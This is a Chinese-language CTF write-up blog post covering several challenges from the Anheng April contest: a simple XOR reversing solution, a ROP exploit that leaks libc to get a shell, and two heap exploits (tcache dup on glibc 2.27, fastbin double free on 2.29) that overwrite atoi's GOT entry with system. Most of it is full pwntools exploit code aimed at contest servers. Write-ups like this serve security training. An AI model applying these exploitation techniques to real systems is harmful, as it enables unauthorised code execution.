安恒四月赛解题记录

打到一半被抓去上矿床学了,只摸了几道水题

6G下载

1G的龟速大文件下载,等这小水管下完比赛都结束了
用curl把传输流写入到文件试试

RE1

1
2
3
4
5
6
7
8
data = "akhb~chdaZrdaZudqduvdZvvv|"

res = ""
for i in data:
res += chr((ord(i)-1)^6)

print(res)
# flag{daef_wef_reverse_sss}

test

常规ROP,注意一次泄露第一次返回要写start地址,写main的地址会产生一些奇怪的异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher import LibcSearcher

context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'

debug = 0
if debug:
io = process('./test')
context.log_level = 'debug'
gdb.attach(io, "finish\n"*5+"b *main\n")
else:
io = remote("183.129.189.60", 10061)

elf = ELF('./test')
read_got = elf.got['read']
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
ret_addr = 0x4005C0
pop_rdi = 0x0000000000400823
pop_rsi_r15 = 0x0000000000400821
one_gadget = 0x4f2c5

io.recvuntil("how long is your name: ")
io.sendline(str(0x100))

io.recvuntil("and what's you name? ")
payload1 = flat('\x00'*0x88, pop_rdi, read_got, pop_rsi_r15, read_got, read_got, printf_plt, ret_addr)

io.sendline(payload1)
read_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
info("read=>{:#x}".format(read_addr))
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
one_gadget += libc_base

io.recvuntil("how long is your name: ")
io.sendline(str(0x100))

payload2 = flat('a'*0x88, one_gadget)
io.recvuntil("and what's you name? ")
io.sendline(payload2)

io.interactive()

剩下的有空补(咕咕咕


sales_office

libc2.27 free后指针未置零,使用tcache_dup利用即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
binary = './sales_office'
libc = ELF("./libc.so.6")
debug = 1
if debug:
io = process(binary)
context.log_level = 'debug'
gdb.attach(io, "finish\n"*2+"b *0x400BA7\n")
else:
io = remote("183.129.189.60", 10060)

elf = ELF(binary)

s = lambda string :io.send(string)
sl = lambda string :io.sendline(string)
sla = lambda delim,string :io.sendlineafter(delim,string)
sa = lambda delim,string :io.sendafter(delim,string)
ru = lambda string :io.recvuntil(string)
rl = lambda :io.recvline()
rv = lambda :io.recv()
it = lambda :io.interactive()
cl = lambda :io.close()
myu64 = lambda :u64(ru("\x7f")[-6:].ljust(8,b'\x00'))


def add(size, content):
sla("choice", '1')
sla("Please input the size of your house:\n", str(size))
sa("please decorate your house:", content)

def show(idx):
sla("choice", '3')
sla("index:", str(idx))

def delete(idx):
sla("choice", '4')
sla("index:", str(idx))

atoi_got = elf.got['atoi']
add(0x60, 'aaaa')

delete(0)
delete(0)
show(0)
io.recvuntil('house:\n',drop=True)
heap_addr = u64(io.recvuntil("\n", drop=True).ljust(8,b'\x00'))
info("heap=>{:#x}".format(heap_addr))
add(0x10, p64(heap_addr))
add(0x10, p64(atoi_got))
show(1)
io.recvuntil('house:\n',drop=True)
atoi_addr = u64(io.recvuntil("\n", drop=True).ljust(8,b'\x00'))
libc_base = atoi_addr - libc.symbols['atoi']
info("libc_base=>{:#x}".format(libc_base))
system_addr = libc_base + libc.symbols['system']

add(0x10, p64(system_addr))
sla("choice:", "/bin/sh\x00")

it()

sales_office2

本题与上一题为同一elf文件,区别在于把libc版本改成了2.29,由于tcache加入了double free的检查,无法直接利用tcache bins的double free,因此利用方式为填满tcache bins,利用fastbins的double free attack。
(由于本机是glibc2.27环境,2.29的exp在docker环境下调试,如在本地利用请自行修改系统版本/文件路径)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
binary = './sales_office'
ip = 'das.wetolink.com'
port = 28499
ld = "/glibc/2.29/64/lib/ld-2.29.so"
glibc = "/glibc/2.29/64/lib/libc-2.29.so"
libc = ELF(glibc)
one_gadget = 0xdf202
debug = 1
if debug:
io = process([ld, binary],env={"LD_PRELOAD": glibc})
context.log_level = 'debug'
gdb.attach(io, "finish\n"+"b *0x400BA7\n")
else:
io = remote(ip,port)

elf = ELF(binary)

s = lambda string :io.send(string)
sl = lambda string :io.sendline(string)
sla = lambda delim,string :io.sendlineafter(delim,string)
sa = lambda delim,string :io.sendafter(delim,string)
ru = lambda string :io.recvuntil(string)
rl = lambda :io.recvline()
rv = lambda :io.recv()
it = lambda :io.interactive()
cl = lambda :io.close()
myu641 = lambda :u64(io.recv(6).ljust(8, b'\x00'))
myu642 = lambda :u64(ru("\x7f")[-6:].ljust(8, b'\x00'))


def add(size, content):
sla("choice", '1')
sla("Please input the size of your house:\n", str(size))
sa("please decorate your house:", content)

def show(idx):
sla("choice", '3')
sla("index:", str(idx))

def delete(idx):
sla("choice", '4')
sla("index:", str(idx))

atoi_got = elf.got['atoi']

for i in range(5):
add(0x10, 'aaaa')

for j in range(3,-1,-1):
delete(j)

add(0x10, p64(atoi_got)) #5
show(1)

atoi_addr = myu642()
libc_base = atoi_addr - libc.symbols['atoi']
info("libc_base=>{:#x}".format(libc_base))
system_addr = libc_base + libc.symbols['system']
one_gadget += libc_base
show(2)
ru("house:\n")
heap_addr = myu641()
info("heap_addr=>{:#x}".format(heap_addr))
delete(4)
delete(5)
delete(0)

add(0x10, 'aaaa')
add(0x10, 'bbbb')
add(0x10, 'cccc')
add(0x10, p64(atoi_got))
add(0x30, 'dddd')
add(0x10, p64(system_addr))

sla("choice:", "/bin/sh\x00")

it()
2019-2021 Nishikinor undefined